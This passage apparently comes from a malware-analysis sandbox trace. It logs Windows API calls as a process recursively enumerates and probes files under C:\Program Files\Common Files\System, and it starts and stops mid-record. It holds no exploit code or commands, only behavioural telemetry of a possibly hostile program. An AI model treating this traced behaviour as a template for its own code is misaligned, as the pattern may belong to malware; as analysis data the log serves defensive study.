ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadco.dll", cAlternateFileName="")) returned 1 [0055.500] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc0a3dca, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc0a3dca, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80edd5b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll", cAlternateFileName="")) returned 1 [0055.500] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84872aa8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84872aa8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84872aa8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcs.dll", cAlternateFileName="")) returned 1 [0055.500] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3801e6, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc3801e6, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x345eeb10, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadds.dll", cAlternateFileName="")) returned 1 [0055.500] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfce53b36, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfce53b36, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80fc2d90, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll", cAlternateFileName="")) returned 1 [0055.500] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd7d9276, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd7d9276, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x81dbdf30, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll", cAlternateFileName="")) returned 1 [0055.500] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0d295c, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc0d295c, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3497fc70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprst.dll", cAlternateFileName="")) returned 1 [0055.500] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93fdbb10, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93fdbb10, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x94001c70, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdarem.dll", cAlternateFileName="")) returned 1 [0055.500] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd6a878e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd6a878e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x835d7620, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll", cAlternateFileName="")) returned 1 [0055.500] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d95dfd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d95dfd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99dbbf5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 1 [0055.500] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d95dfd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d95dfd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99dbbf5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 0 [0055.500] GetLastError () returned 0x12 [0055.500] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0055.500] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0055.500] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.500] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.500] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI", cAlternateFileName="")) returned 1 [0055.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0055.500] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI" (normalized: "c:\\program files\\common files\\system\\msmapi"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.501] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI" (normalized: "c:\\program files\\common files\\system\\msmapi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0055.501] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0055.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf09cb0 [0055.501] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf09cb0, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xf09cb0, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0055.501] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf09cb0) returned 1 [0055.501] NtClose (Handle=0x17c) returned 0x0 [0055.502] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0055.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0055.502] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459cf8 [0055.502] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.502] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0055.502] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0055.502] GetLastError () returned 0x12 [0055.502] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459bb8 [0055.502] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0055.502] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.502] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0055.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.502] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033" (normalized: "c:\\program files\\common files\\system\\msmapi\\1033"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.503] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033" (normalized: "c:\\program files\\common files\\system\\msmapi\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0055.503] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.503] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf09cb0 [0055.503] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf09cb0, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf09cb0, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.503] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf09cb0) returned 1 [0055.503] NtClose (Handle=0x17c) returned 0x0 [0055.503] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.503] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.503] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee4158 [0055.503] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee41e0 [0055.503] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0055.503] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.503] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 1 [0055.503] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee40d0 [0055.503] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee40d0) returned 1 [0055.503] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee40d0 [0055.503] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee40d0) returned 1 [0055.504] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee40d0 [0055.504] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee40d0) returned 1 [0055.504] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 0 [0055.504] GetLastError () returned 0x12 [0055.504] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459d38 [0055.504] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0055.504] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.504] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 1 [0055.504] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 0 [0055.504] GetLastError () returned 0x12 [0055.504] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee41e0) returned 1 [0055.504] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.504] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee4158) returned 1 [0055.504] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.504] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0055.504] GetLastError () returned 0x12 [0055.504] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0055.504] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0055.504] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.504] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.505] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ole DB", cAlternateFileName="")) returned 1 [0055.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0055.505] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB" (normalized: "c:\\program files\\common files\\system\\ole db"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.505] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB" (normalized: "c:\\program files\\common files\\system\\ole db"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0055.505] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0055.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf09cb0 [0055.505] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf09cb0, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xf09cb0, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0055.505] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf09cb0) returned 1 [0055.505] NtClose (Handle=0x134) returned 0x0 [0055.505] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0055.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0055.505] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459bb8 [0055.507] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.507] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0055.507] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ad34e79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ad34e79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ad5afda, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0055.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.507] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.507] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.507] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.507] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14cd0c35, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14cd0c35, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x349a6d70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaps.dll", cAlternateFileName="")) returned 1 [0055.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.507] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.507] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.507] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.507] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, 